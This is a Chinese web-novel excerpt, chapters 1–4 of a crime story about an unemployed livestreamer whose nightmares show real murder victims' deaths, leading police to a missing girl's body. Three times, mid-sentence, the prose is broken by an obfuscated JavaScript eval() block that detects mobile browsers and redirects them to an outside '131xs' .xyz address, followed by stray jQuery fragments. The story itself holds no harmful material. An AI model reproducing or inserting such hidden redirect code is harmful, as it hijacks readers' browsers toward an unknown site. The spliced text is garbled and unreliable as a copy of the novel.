《做梦能报销吗[刑侦]》
1. 首次助眠直播
零点二十八分,助眠直播间。
“你们知道窒息的感觉吗?”
江林夕脸色煞白,像一张纸,眼睛瞪得巨大,青黑色的黑眼圈在脸上显得格外突兀。她裹着一张栗色毛茸茸的毯子,紧紧的包裹全身,好像这样可以给自己带来一丝温暖。她的指节因为用力有点泛白,拇指无意识地摸索食指的侧边,轻轻抠着那一点点不平整的指甲边缘。
“眼前这个人的双手很粗糙,他紧紧的掐住了我的脖子,不断的往里收紧,我可以感觉到他的指甲在我脖子上抠出了血,我的鼻间围绕着一股难闻刺鼻的气味。”
江林夕停顿了一下,眼神空洞的望向镜头,像是透过镜头看向在看直播的所有观众。
她的语气急促起来,“我感觉自己没有办法呼吸了,耳朵也什么都听不见,只有心脏跳动的声音,一下又一下。”
“咚——咚——咚”
她的身体向前倾,扣指甲的动作也变得急躁,用力,一下、再一下。
接着她压低嗓音,喘着气:“随着他的手掌收拢,我的眼前一片模糊,我看不清他。然后有红色的叶子掉到我的身上,也掉到他的身上,而我们都没有时间去管这些该死的叶子。”
“我不可以坐以待毙,我不可以死,我想要活下去!”
“但是眼前这个人的力气实在是太大了,我死命地挣扎,他都没有挪动半分。”
“怎么办?怎么办?我到底该怎么办?!”
偶尔路过直播间的路人吓了一跳:
【吃瓜小鱼:卧槽!我鸡皮疙瘩都起来了!】
【胆小如米老鼠:等等?这是啥直播间?说好的助眠直播呢?!】
【吃瓜小鱼关注了主播】
江林夕这时候也没有空管直播间弹幕都在说些什么,继续说道:“我躺在地上,用尽最后一丝力气,用指甲狠狠地划向眼前这个人的手臂。真幸运,昨天刚做的美甲还是带钻的,锋利的蝴蝶美甲直接把他的手臂划出了一道血痕。”
她的语气带着欣喜:“他吃痛松手了,太好了!”
“我挣扎的爬起来,往前跑。周围好黑,除了月亮带来的光亮,什么都看不见,我只能磕磕绊绊的跟着月亮的光芒往前跑。”
“他就在我身后…脚步声很沉…很重,像是穿着特别重的鞋子,特别的沉闷…踩在地上…不,是踩在叶子上的声音。”
“脚步声离我越来越近……”
“沙…沙…沙”
【吃瓜小鱼:脚步声…救命,我不敢睡觉了!】
【啥都知道一点:一般踩在叶子声音会比较清脆,不该是这种沉闷的声音?除非叶子比较潮湿可能会发出这种声音。】
【灵异爱好者桃可可:哇塞~这是新的恐怖故事直播间吗~让我来康康】
“太糟糕了!他追上来了!”
“他从地上捡起了一块砖头向我砸了过来!”
“一瞬间,我感觉不到自己的身体了,只有头…后脑勺…炸裂一样的痛,我倒在了地上…”
江林夕的胸口剧烈的起伏:“我看不清他…只有一个模糊的、高大的身影…他带着难闻令人窒息的刺鼻的味道压迫过来…他在看我…我能感受到那种…恶心、充满恶意的眼神…”
“好痛…我喊不出声…力气一点点流走了,挣扎也慢慢变成了微弱的抽搐…”最后几个字,她几乎是气音挤出来的,带着浓重的绝望和生理性的恶心,她猛地捂住嘴,似乎想压下呕吐的冲动,
“最后是再次掐上脖子的手…窒息又一次降临,而我已经没有力气挣扎了…只能无力的拍打他的手臂…恍恍惚惚里我只能看到他从我的脖子上拿走了什么…蝴蝶…然后…没有然后了……”
“我死了……一股浓重的土腥味一点一点淹没了我。”
江林夕猛然停住,低下头看去,指甲边缘的皮肤被自己扣除了一个小口,渗出暗红色的血珠。她下意识地用手想要抹去,留下一道淡淡的痕迹,但几秒后,那颗血珠又固执地冒出来,过了好一会儿,江林夕才回过神,疲惫不堪地说道:“这就是我的梦境。”
【灵异爱好者桃可可:这描述力绝了!关注走一波!下次再来看主播!】
【啥都知道一点:主播你还好吗?感觉你现在状态真的好差,要不要休息一下啊?】
【吃瓜小鱼:这梦也太真实了,好可怕,嘤嘤嘤~】
【胆小如米老鼠:靠!不来了不来了!说好的助眠直播间,搞这么恐怖!我服了!这谁能睡得着?!】
【灵异爱好者桃可可关注了主播】
江林夕看着眼前的弹幕,挑着回复道:“最近是睡得比较差,晚上总是做这些噩梦,说出来,心里好像能好受一点点,谢谢你们关心。”
她的目光扫过屏幕上那几个零星的、带有“打赏”标识的弹幕,心里默默算了笔账,下个月的房租貌似凑上了五分之一了,太好了。
直播间又聊了几句无关痛痒话语,主要还是各种东拉西扯。江林夕感觉自己累的声音都有点发飘,勉强笑笑:“谢谢大家听我说这些,时间不早了,今天的直播就到这里结束了,祝你们做个好梦,晚安。”
随即,江林夕关闭了直播间。
房间里再度陷入了寂静,江林夕疲惫的把自己摔在了床上,头靠在枕头上,脑海思绪万千。
三个月前,江林夕还是个普通的上班族,每天朝九晚五辛辛苦苦的赚点牛马费养活自己。谁想到突然有一天开始,只要自己睡觉就总是会做噩梦,不是那种早上醒来就会忘记简单的噩梦,而是那种身临其境自己是被害者,被残忍杀害的噩梦。
这也使自己变得惧怕睡眠,睡眠不足严重影响了平常的日常作息,白天根本没有办法正常的工作,只能时不时地浅眠一两个小时。
江林夕被迫辞去了工作,眼见着自己的储蓄罐逐渐见底,而自己晚上又不敢睡觉,漫漫长夜总得找点事情打发一下,索性做起了直播,和别人说一说自己的梦境。
她分享这些,一个是因为噩梦里的细节太过清晰,太过折磨,她觉得自己都要疯了,必须得找个地方说出来,才能稍微减轻一点内心的痛苦。
另一个是,现在的自己根本没办法正常工作,好歹直播里送的东西可以让自己勉强不饿死。
想着想着,不知道是因为枕头太舒服还是江林夕实在是太累了,又或者说两者都有。她的意识逐渐模糊不清,无法抗拒的困意彻底吞噬了她,把她直接拽入了梦乡,即便又是一场噩梦。
-----------------
江林夕又一次被噩梦惊醒,坐在床上缓了好一会儿,感受到腹中的饥饿。
起身,准备给自己弄点吃食,谁知道橱柜里干干净净,她这才反应过来:啊!自从上个月的采购之后自己好像再也没有出过家门了。
江林夕盯着空橱柜看了会儿,其实外卖也行,但是她嫌贵。失业后每一分钱都得精打细算,自己下厨能省不少,再说她自己的厨艺还是不错的,比外面好吃多了。毕竟从小到大都是自己一个人生活,煮饭烧菜的技能自然得点满了。
她拿起手机和钥匙,随手套了件外套出门,准备去超市再买些食材屯到家里。
从超市出来时,天刚擦亮。手机显示还不到六点。她拎着沉重的购物袋,里面是最便宜的面条、鸡蛋和打折蔬菜。
“张阿姨,小碗馄饨,加个鸡蛋!”少女清脆的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16536639|186587||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
嗓音吸引了江林夕的注意,然后是一股骨头汤浓厚的香味刺激着她的味蕾,咽了咽口水,摸了摸肚子感觉了下饥肠辘辘,江林夕果断放弃回家做早饭的念头,奔向了馄饨摊,既然难得出门了,吃个小馄饨不算过分吧。
倍感饥饿的江林夕本来想点个中碗馄饨,加了个水煮蛋,结果看了眼价格,果断选择小碗,什么鸡蛋不鸡蛋的,自己其实也不是很想吃。然后悄悄咽下被勾起的馋虫一边焦急的等待着,一边百无聊赖的打量周围。
“张阿姨,小蝶肯定没事的,您别担心。”隔壁少女一边小口吃着馄饨,一边和摊主阿姨说话。
“嗯…”张阿姨勉强笑笑,手上的动作也没停,摊皮、抹馅、五指飞快地一掐一甩,接连几个圆滚滚的馄饨飞快地下了锅:“谢谢你,珂珂,天天来馄饨摊照顾阿姨的生意,小蝶有你这个朋友真好。”
“我才是,有小蝶这个朋友也真好。”少女珂珂说完,低下头不再说话只是有些食不下咽的往嘴里塞馄饨,仔细去看就能发现珂珂和张阿姨的眼眶都有点泛红。
江林夕期待已久的馄饨终于端到了她的面前,清亮的汤上飘着翠绿的葱花,她迫不及待地舀起一个,小心吹了口气就送入口中,咸淡正好。温暖和满足从胃扩散到身体,瞬间缓解了她近来的疲惫,她也没心思在关注周围的动静,一门心思的吃着美味的馄饨。
吃完馄饨的少女珂珂拿起身边的包:“张阿姨,我快迟到了,晚上放学我再过来和您一起贴寻人启事。”
“好。”张阿姨也没推辞,只是点点头。
吃完馄饨心满意足的江林夕拿纸巾抹抹嘴:“老板,多少钱?”然后走到摊子二维码的地方准备付款。
“六块。”张阿姨说着拿着一张纸走到江林夕的面前:“小姑娘,不好意思,可以拿一张寻人启事看一下吗?这是我女儿,她失踪快半个月了,我平常早上4:00到8:00都会在这摆摊,你要是有消息和我说,下面也有电话,拜托你了,谢谢啊。”
江林夕付完款随手接过寻人启事,转身却发现张阿姨眼圈通红,嘴唇嚅嗫着恳求,她没敢多看张阿姨一眼,拿着寻人启事,匆匆点头离开了。
走到街角十字路口,江林夕才停下脚步,长呼了口气,她从小到大一直都不太会安慰别人,也不知道该怎么面对这种场景,只能快速逃离,能有多快就有多快的那种。
江林夕重新展开被捏的微皱的寻人启事:“寻人启事:张心蝶,18岁……”
江林夕目光扫过上面的彩色照片,照片上的少女笑容灿烂,依偎在张阿姨的身边,背景像是某个公园。但这些都不是重点,江林夕紧皱眉头,死死的盯着照片里少女纤细的脖子上,那一条精致的银色蝴蝶项链。以及少女放在脸庞旁手指上,做的漂亮的蝴蝶美甲,蝴蝶的美甲钻栩栩如生,像小蝴蝶一样仿佛停留在她的指尖。
蝴蝶,到处都是蝴蝶……
这个独特的标志一瞬间让江林夕回到了折磨自己半个月的噩梦里,梦里的窒息感再次袭来。
一模一样,蝴蝶和她在噩梦里看到的一模一样!
“嗡——”
江林夕只觉得脑子一声长鸣,什么声音都听不到了,刚刚吃才完馄饨的胃一阵翻江倒海,她捂住嘴干呕了几下,什么也没吐出来。
不是梦……
那可能不仅仅是噩梦……
这可能是…另外一个女孩的真实经历,而她,江林夕看到了这一切。
江林夕猛地回头望向刚才来的方向,张阿姨瘦小的身影还在馄饨摊,看的不太清晰。她再次低头看向照片上笑靥如花的少女,看着她颈间和指尖仿佛下一秒就要飞走的蝴蝶,只觉一股寒意爬上脊柱。
2. 初次见面
回到家的江林夕不知道在地板上坐了多久,直到窗外天空漆黑一片,什么都看不清。她终于挣扎着爬起来,几乎是凭借着身体的本能给自己倒了杯水。
抿了一口热水,她想起这三个月来断断续续做过其他几个噩梦,也是同样的绝望和痛苦的片段,一个可怕的念头无法抑制的钻进她的大脑:难道那些也都是真的?这个想法几乎让她崩溃。
该不该告诉警察?说她做梦梦到受害者最后的样子?怎么可能会有人相信,把她当成疯子还差不多,更差的又或者是把她当成嫌疑人?
可是不说呢……
江林夕看向手上寻人启事的照片,那个笑容灿烂十八岁的少女已经变成了一具冰冷的尸体,而她的妈妈张阿姨一无所知,寻找着自己的孩子。
江林夕闭上眼,眼前还能浮现出噩梦中模糊的一切,以及那枚闪烁光芒的蝴蝶。
她猛地睁开眼,深吸一口气,她必须做些什么。
江林夕回到房间拿出之前上班开会用的笔记本和中性笔,随手把笔记本翻开到空白一页,试图回想之前噩梦的所有细节:红色树叶、刺鼻的气味、脚步很重、土腥味、蝴蝶。
按照开始做梦的时间,和张阿姨的女儿失踪时间来看,大概是半个月前,12月初左右。昨天直播间有人提到过,脚踩在树叶的声音不太对,潮湿的树叶,雨……作案时间很可能是12月月初一场雨后
红色树叶,12月月初只有枫叶是这个颜色,张心蝶是在这个城市失踪的,大面积…大面积的枫叶,红枫山,没错,她是在枫叶山遇害的。
凶手身上有一股刺鼻的味道,脚步很重,张心蝶临死前划破了凶手的手臂,蝴蝶项链疑似被凶手拿走。
土腥味,很有可能死后的张心蝶被埋在了土里,梦里没有移动的感觉,她的尸体很有可能就埋在枫叶山!
江林夕激动的在笔记本写的枫叶山上画了一个大大的圈,枫叶山!然后她又迅速的冷静下来,该怎么告诉警察,又不惹祸上身呢。
……
出了门的江林夕直奔市中心商业街的桃山路街道,而她扫视了一圈选了个位置比较偏的电话亭排队。
本来因为现在人人都有手机,市政府是准备把所有的电话亭全部撤除,但是由于很多人申请保留一部分电话亭给急需的人使用,于是选中了市中心商业街的桃山路街道的电话亭作为保留,没想到很多情侣和外地旅游的游客非常喜欢来这里拍照打卡,用于出片。
没多久前面一对情侣拍完照就轮到江林夕,她把电话亭的门关上,直接拨打了报警电话,一只手拿电话,另一只手捂住了自己的嘴巴。
电话里传来女声:“喂,你好,桃山路派出所。”
江林夕刻意压低嗓音,故意用含糊不清的语调说道:“我要提供张心蝶失踪的线索。”
“好的,请提供一下个人信息?”
“张心蝶死了。”江林夕怎么可能会提供自己的和人信息,不管电话里说什么,简明扼要的把重点说出来。
“等等……”
“作案时间应该是在12月月初的一场雨后,地点是在枫叶山,张心蝶脖子上的蝴蝶项链被凶手拿走,凶手双手粗糙,身上有刺鼻的味道,手臂处有划伤,张心碟的尸体没有被移动,很可能被埋在枫叶山区域。”一口气把线索全说完,江林夕没敢多说一句直接把电话挂断。
现在自己该做的都做了,就等警方消息了。
三天后,江林夕再度来到张阿姨的馄饨摊,依旧是小碗馄饨。
心不在焉快速把馄饨吃完的她语带关心问道:“张阿姨,您女儿有消息了吗?”一边说着一边扫着支付二维码。
张阿姨疲惫的摇摇头:“没有。”
“警方也没消息吗?”江林夕又试探性地问了一句。
张阿姨苦笑了一声:“我家那口子,天天下午在警察局等消息,一点消息也没有。”
江林夕僵在原地,大脑一片空白,怎么会这样,自己明明已经提供线索了,三天时间就算没有找到尸体,也应该有些消息。还是说,自己之前真的只是在做梦,碰巧了而已,又或者警方不相信?
“没事吧,小姑娘?”张阿姨看到江林夕样子不太对劲,关切地问道,她的眼神就像是看自己女儿一样的慈祥。
“没事,张阿姨钱付过了,我先走了。”江林夕摇摇头,颇有一些落荒而逃的意味,离开了馄饨摊。
-----------------
自从江林夕知道张阿姨那里还没有任何消息,一直魂不守舍。
她天天往张阿姨的馄饨摊跑,斥巨资每天一碗小碗馄饨。然而得到的依旧是没有任何关于张心蝶的消息。自己打的匿名电话石沉大海,毫无音讯。回想起张阿姨的眼神,以及那张寻人启事上灿烂笑容的少女,她长叹了一口气。
或许,或许,这只是一个过于真实的噩梦而已,警方都没有找到什么线索,她自己一个普通人又能怎么样。
可如果,如果噩梦是真的呢?而警方根本没有去搜索我说的线索怎么办?而现在那个女孩正孤零零的躺在某个冰冷黑暗的地方,无人发现,而自己,又是唯一一个知道线索的人呢?
江林夕觉得这些念头快要把她逼疯了。
她坐不住了,一个冲动、不理智、甚至有些疯狂的念头冒了出来。
她想要去枫叶山看一眼,就一眼,只要确定自己做的噩梦是不是真的,如果那里什么都没有她就努力忘记。这个念头成了她现在唯一的救命稻草,甚至没有仔细想过去了之后该怎么做,这么做又会不会给自己带来什么巨大的烦恼。
雨后的工作日,公交站台就她一个人下车了。山风带着寒意吹过,江林夕打了个喷嚏,刚刚出门走的急忘记拿上外套,刚刚公交车人又多,闷了一身汗,冷热交替。她也没心思管这么多,紧了紧自己身上的白色薄毛衣就往山上走去。
江林夕走的有些犹豫不决,走走停停。
她现在的样子一定很奇怪,一个年轻女人,在寒冷冬天,穿着薄毛衣独自一个人,脸色苍白的在枫叶已经落完,毫无景色的山林里漫无目的的徘徊。
要是有人见到了,会不会以为自己是女鬼~哈,江林夕现在只能苦中作乐的想着。
这时走到一片相对平坦的林间空地上,江林夕的心猛的跳得飞快,每走一步,梦里的画面就清晰一分。
她找到了。
就是这里!
那片在梦中反复出现空地,旁边是一株横倒着的巨大枫叶树,空气里仿佛还弥漫着那时候树叶腐烂和泥土的腥气,这种强烈的既视感几乎令她作呕。
江林夕不敢上前,不敢触碰任何的东西,只是僵在原地,目光突然扫视到那片明显有异样的土地,周围的落叶堆积自然,唯独那一块区域的落叶像是匆忙掩盖过,显得格外
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16536640|186587||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不协调。
不是梦,张心蝶真的在这里遭遇了什么,而她的尸体就在这里!
……
“女士?”
一个低沉、冷静,带着探究意味的男声突然从她的身后不远处响起。
江林夕猛然一惊,惊慌失措地转过身。
一个男人站在几米外的一棵枫树下,他穿着简单的黑色夹克,身形挺拔,站姿沉稳,目光锁定在江林夕未干的泪痕和极度恐惧的表情上。
-----------------
目前张心蝶最后现身地点监控,社会关系,银行卡、网络账号等优先级线索都已经排查完毕,警方还是没有找到人,现在只剩下一些真假存疑的线索,而最近市里不知道为什么刑事案件特别的多,人手严重不足,失踪案自然就排在谋杀案之后,所以张心蝶的调查现在已经暂停归档,准备忙完这段时间再继续。
而张心蝶的失踪案像块石头一样重重的压在秦朗心里。她的父亲每天缩在塑料椅上,每次有警察走过,都会满含希望的看过去,然后又迅速的暗淡下来,也不打扰别人,就是那样的安静着,期盼着。
秦朗本来今天休假,之前有个关于张心蝶失踪案的匿名电话虽然不太可信,但是“枫叶山”这三个字让他无法彻底放下。他特地来这里走走,换个环境思考,看看是否会有一些关于张心蝶的线索。
然后他就看到了她。
女性,20到25岁左右,身着单薄,运动鞋边缘有磨损,经济状况不太好。双手紧握,指节因为用力有些发白,处于极度紧张和恐惧的状态。黑眼圈浓重,近期严重失眠。行为异常,绝对不是普通游客。
秦朗上前,出于警察的职业本能和一丝不易察觉的关心,开口询问。
“你一个人在这里做什么?”秦朗保持着一个安全的距离,语气放缓:“我看你在这里呆了很久,需要帮助吗?别担心,我是警察。”
“我…我…”江林夕嘴唇哆嗦的厉害:“对不起…我不知道……我不该来的。”秦朗顿时心中顿时生出疑虑,回避问题,表达歉意,表现出了强烈的负罪感和逃避心理,有问题,在这里出现难道真的和张心蝶有关。
秦朗向前迫近一步,语气平稳却带着压力:“你认识张心蝶?那个失踪的女孩?”他抛出名字,紧紧盯着她的细微表情。
而这个名字瞬间击溃了江林夕,她终于没忍住哭了起来,也越发的语无伦次。
“我梦到的……就是这里……”
“路很滑……”
“她的项链被拿走了……”
“求求你们找找她,她就在这下面……”
秦朗的眼神瞬间从探究变为极度压迫力的审视,他轻轻扫视一圈也发现那块不正常的空地,想起了那通匿名电话。
不再犹豫,他迅速拿出手机,按下快捷拨号,目光却一秒也没有离开过颤抖的江林夕。“是我,秦朗。枫叶山北坡,原林业点附近。立即派勘察小组过来,对指定区域进行深度挖掘。我还需要一辆车,发现一名疑似张心蝶失踪案知情人,需要带她回队里进行询问。”
“女士,”秦朗的声音低沉下去,带着一种不容抗拒的力量,却奇异的混合着一丝安心:“你需要和我回局里一趟,有些事情,我们必须弄清楚。”
说着,秦朗脱下自己的黑色夹克外套递给了江林夕示意穿上。
“现在,请跟我来。”
3. 我不是犯人
市公安局刑警支队的审讯室和江林夕想象中不太一样。
没有电影里演的那么阴暗闭塞,但是冰冷的压力无处不在。白色的墙壁,冰冷的金属桌椅,以及墙角高清的摄像头亮着微弱的红光,都告诉所有人,悠着点儿,注意你的一言一行。
江林夕还穿着秦朗给她的夹克外套,坐在硬邦邦的椅子上,双手冰凉,手指在桌下轻轻地扣着指甲边缘。那杯秦朗递给她的热水此时正放在桌上,散发着微弱的热气,是她此刻唯一能够感知到的温度来源。
秦朗就坐在江林夕的对面,隔着一张桌子。他的搭档是个年轻警官小陈,坐在侧方记录。
短暂的沉默,秦朗目光沉静专注,公事公办的开口:“姓名。”
“江林夕。”
“年龄,职业。”
“24,无业。”
江林夕声音微颤一一回答完毕,常规信息问完之后,秦朗的语气依旧平稳:“江小姐,谢谢你愿意配合我们。请再详细的说一遍,你今天下午去枫叶山的原因,以及你之前说的话是什么意思。”
“我…我说过了,我…”江林夕低下头,避开眼前两人的视线,那句“我梦到的”卡在喉咙里,她当然知道这听起来是多么的荒谬。
“梦到的?”旁边的年轻警官小陈语气吐露出了不耐烦:“江小姐,这是一个大活人失踪了,别开玩笑了,请你严肃一点,配合我们工作。”
“我没有开玩笑!”江林夕猛地抬起头:“我就是梦到了!梦里我可以感觉和看到张心蝶她感受的一切!我甚至可以闻到当时的味道,雨水、枝叶,还有他身上那股奇怪刺鼻的味道!”
“你…”年轻警官小陈烦躁的又想说些什么,秦朗抬起手,轻轻制止了搭档。
“他?”秦朗迅速地捕捉到这个代词:“他是谁,你梦中的他做了什么,你感觉到了什么?”秦朗引导着江林夕,试图让她说出更多的细节以防万一。
江林夕有些愣住:“我看不清,他很模糊,我只知道他是一个男人……”她努力回忆梦中细节:“他很强壮,力气很大……”
“那个人先是准备掐死我,但我划伤了他,然后……”
“然后,他用砖头砸到了我,我摔倒了,他又再次掐上了我的脖子……”
“接着…接着他拿走了我的项链……把我埋在了泥土里……”
“还有我觉得……他好像很熟悉那里……”
江林夕的描述支离破碎,乱七八糟,听上去简直就是胡说八道,年轻警官合上了笔录本,几乎已经认定是在浪费时间听她胡言乱语,这人要么就是精神有问题,要么就是犯罪嫌疑人最后的狡辩。
就在这时,审讯室的门被轻轻敲响,然后推开一条缝。一个技术部门的同事探进头,表情凝重,对着秦朗快速的使了个眼色。
秦朗目光一沉,对着搭档道:“小陈,你继续。”随即走了出去关上门。
走廊里,技术部门的同事压低声音,语速很快:“秦队,枫叶山那里有重大发现!根据你提供的具体位置,勘察小组在那里发现了张心蝶的尸体,尸检那边初步断定死因是颈部扼压伤致机械性窒息,后脑有钝器伤。”
秦朗的心猛地沉下去了,心里也越发的怀疑江林夕。
他推门重新走进审讯室,小陈刚要开口,秦朗却先一步走到江林夕的面前,目光牢牢锁定江林夕,强烈的压迫感扑面而来:“江小姐,我们的人在你刚刚呆的地方,找到了张心蝶的尸体。”
江林夕脸色一白,眼圈发红,她知道自己最后的一丝侥幸破灭了。
张心蝶真的死了,和自己噩梦中里一样。
“江小姐,我们有理由怀疑你,就是杀害张心蝶的凶手,请你详细说明一下12月3日你的行踪。”秦朗没有移开目光,眼睛一眨也不眨的说出了后面的问题。
这个问题像一盆冷水浇下来,江林夕知道,他们还是把自己当作嫌疑人了,这也不奇怪,正常人谁会相信自己刚刚说的那番话。
江林夕试图回想12月3日自己在做什么,可能毕竟是快二十多天前的事了,记忆早就模糊:“那天我没出门,白天在家里睡觉,晚上在直播。”
“白天有人能证明吗?”年轻警官小陈立刻继续追问,重新打开笔录本,笔尖停顿在纸上。
“我一个人住,但是我家里客厅为了安全装了监控,它一直都是开着的,我的手机app就可以直接看到之前的回放记录。”这个监控还是她失业后,因为自己极度缺乏安全感,为了自己咬咬牙买的。之前有时候还觉得太浪费钱了,现在没想到,很有可能成为最重要的不在场证明,真是因祸得福,虽然祸和福都是做梦害的。
-----------------
秦朗目光扫过刚刚技术部门拿过来的监控报告,脸色一变,他再次看向江林夕,眼神里的怀疑被一种困惑所代替。
他挥了挥手,让小陈暂时出去,审讯室只剩下江林夕和她两人。
秦朗将报告轻轻放在桌上,声音干涩:“江小姐,技术报告证实从12月开始一直到12月20日,这期间你都没有出门。”
江林夕猛地抬头,眼里燃起希望:“你看!我根本不可能……”她就知道!
“没错。”秦朗打断她的话语,目光如炬:“物理上,你基本上没有作案的时间!”
“但是!”秦朗声音加重,每一个字都说的非常艰难:“张心蝶的死因和尸体都和你说的一模一样,而这些你都说你梦到的,你让我们怎么去相信你。”
秦朗走到江林夕的面前,俯身,双手撑在她的桌前,盯着她,发自内心的疑问:“一个没有作案时间,没有作案动机,和受害者毫无社会关联的人,究竟是如何知道凶手和受害者之间的细节的?”
“除非你说的都是真的,你真的梦到了,否则我根本找不到任何符合逻辑的解释!”
“请你告诉我!”他的眼神带着极度的严肃和一种难以言喻的探究。
江林夕看着他,看着这个之前还充满怀疑的警察,她知道,他信了,排除了所有的不可能之后,被迫接受了这个最匪夷所思的答案。
江林夕泛起一丝苦笑,混合着解脱和悲伤。
“我也想知道……”她重复着这个这么久以来无数次问自己
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16536641|186587||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的话:“为什么……”
秦朗缓缓地坐回椅子上,久久没有开口说话,审讯室里只剩下两人沉重的呼吸声。
“江林夕。”秦朗深吸了一口气,揉了揉眉心,声音疲惫:“我接下来的问题,可能会超乎常规,请你谅解,我只是需要尽可能的去理解。”
“你所说的梦,是从什么时候开始的?”秦朗尽量斟酌用词,避免刺激到江林夕。
江林夕低下头,手指又一次无意识地抠着指甲缝:“三个月前,一开始只是断断续续…但是最近,越来越频繁,也越来越真实。”她感受着指甲边缘针刺般的疼痛,轻轻地说道:“每一次,每一次…都好像是我在死。”
最后几个字,她说的轻飘飘的,却像重锤一样砸在秦朗的心上,他无法想象这会是怎样的折磨。
“每次梦到的都是不同的人?”他问出了最关键的问题。
江林夕艰难的点了点头:“不同的人,不同的地方,大概唯一相同的就是同样的痛苦吧。”
秦朗沉默了,他看着眼前这个几乎要被痛苦压垮的女人,之前所有的怀疑和审视,最终都化为了一片沉重。
她极有可能不是凶手,而是一个受害者,一个无人理解的受害者。
“你…”秦朗顿了顿,语气放缓,尽力保持专业素养:“之前提到的气味可以具体形容一下吗?任何一点差异都至关重要。”
江林夕闭上双眼,深吸了一口气,艰难的回忆梦里令人不适的感觉:“说不上来的铁锈味…还有化学品和廉价香水的味道。”她皱着眉实在无法具体形容:“很刺鼻,很恶心的味道。”
秦朗继续引导,声音平稳:“还有没有其他细节呢,凶手的脸和其他特征有看到吗?”
江林夕只是疲惫的摇摇头。
今天发生了太多的事,让她大脑一片空白,太阳穴也一直突突的跳。
这时,秦朗手机震动了一下,他看了一眼,上面是化验部门表示具体报告明天才能出来。然后瞧见江林夕苍白的脸色,走到饮水机旁,重新接了一杯热水,放在江林夕的面前。
“谢谢。”江林夕低声道谢,双手接过纸杯,温热的触感从指尖传来,让她紧绷的大脑松弛了一会。
“江林夕。”秦朗回到座位,目光沉静地看着她:“等会我会安排同事先送你回家,你今天好好休息,明天再过来一趟。”
接着他拿出一张只有名字和私人号码的简介名片,推到江林夕的面前:“如果做梦到具体细节,或者梦到其他受害者,第一时间联系我。”江林夕没说话,只是郑重地将名片收了起来。
秦朗叫来了一名女警,低声嘱咐了几句,让她送江林夕回家。
看着江林夕在女警的陪同下消失在走廊尽头,秦朗缓缓收回目光。
他独自站在空旷的走廊里,指尖用力按压发胀的太阳穴,突然停下动作,然后像是在思考什么一样一动不动。半响,他吐了一口浊气,目光坚定,没有一丝犹豫。
下定决心的秦朗敲响了市局局长周正华办公室的门。
随即,一个沙哑的声音穿透门板。
“进。”
4. 特别顾问
市局局长周正华的办公室内,秦朗站在办公桌前,背影挺得笔直,将江林夕的情况以及申请她作为特别顾问协助调查的请求,条理清晰的进行了汇报。
果不其然,周局刚听完,手掌重重的敲在桌上,眉头拧成了一个“川”字。
“荒唐!”周正华的声音带着不容置疑的威严:“秦朗,你都干了多久了!什么做梦?什么受害人的视角?这些都你信!现在还想要让她做特别顾问!传出去,我们市局会成为整个警界的笑话!”
“周局,我明白你的顾虑,但请你相信我。”秦朗语气沉稳,毫不退缩:“江林夕的嫌疑已经有确凿的证据可以排除。就是她所谓的梦境,让我们找到了张心蝶的尸体,作案地点等细节,这些已经全部被现场勘察小组和技术部门初步分析核实。”
秦朗上前一步,将手中的关于张心蝶的一系列报告证据以及江林夕家里的监控报告放到了桌上。
“周局,我知道这很违背常理,但是抛开来源不谈,关于张心蝶失踪案江林夕提供的消息准确无误。”秦朗深吸了一口气继续说道:“而且,如果江林夕的能力是真的,我们将会掌握一种全新的线索来源,日后破案很有可能会是最关键的突破口。”
周局盯着报告沉默着,眉头紧锁,神色稍缓。
秦朗趁热打铁提到:“我并非提议让江林夕参与核心决策或者抓捕行动,她只需要在可控的环境下,协助我们解读她的那些“梦境信息”作为线索补充。整个过程录音录像,由我亲自负责。所有从她那里获得的信息,都会经过严格的验证方可采用。”
秦朗目不转睛的盯着周局的眼睛,眼神充满信心:“周局,警队的一切规矩都是为了破案,寻求真相而存在的。现在有一条非常规的道路摆在我们面前,如果我们就是因为它的不同寻常就视而不见,那才是对受害者和这份职责的不负责任。”
“我愿意为了一切后果承担责任。”
……
办公室陷入了一阵沉默,周局的目光在报告和秦朗坚定坦荡的脸上来回打转,他知道自己这个下属绝不是胡来的那种人,他的判断力和责任心在局里是出了名的,当然,他的倔强也是出了名的,认定的事情九头牛都拉不回来。最终,周正华重重地叹了口气,做出一个艰难的决定。
“好吧…”周局的声音参杂着一抹无奈:“就按你说的办。但是秦朗,你给我听好了:第一,这是临时性、非正式、绝密的顾问身份,绝对不允许外传。第二,你全权负责,严格控制知情范围,所有过程必须记录在案。第三,这一次张心蝶的案子一旦发现任何问题,或者信息不准,立刻停止!”
“明白!谢谢周局!”秦朗大声回答。
-----------------
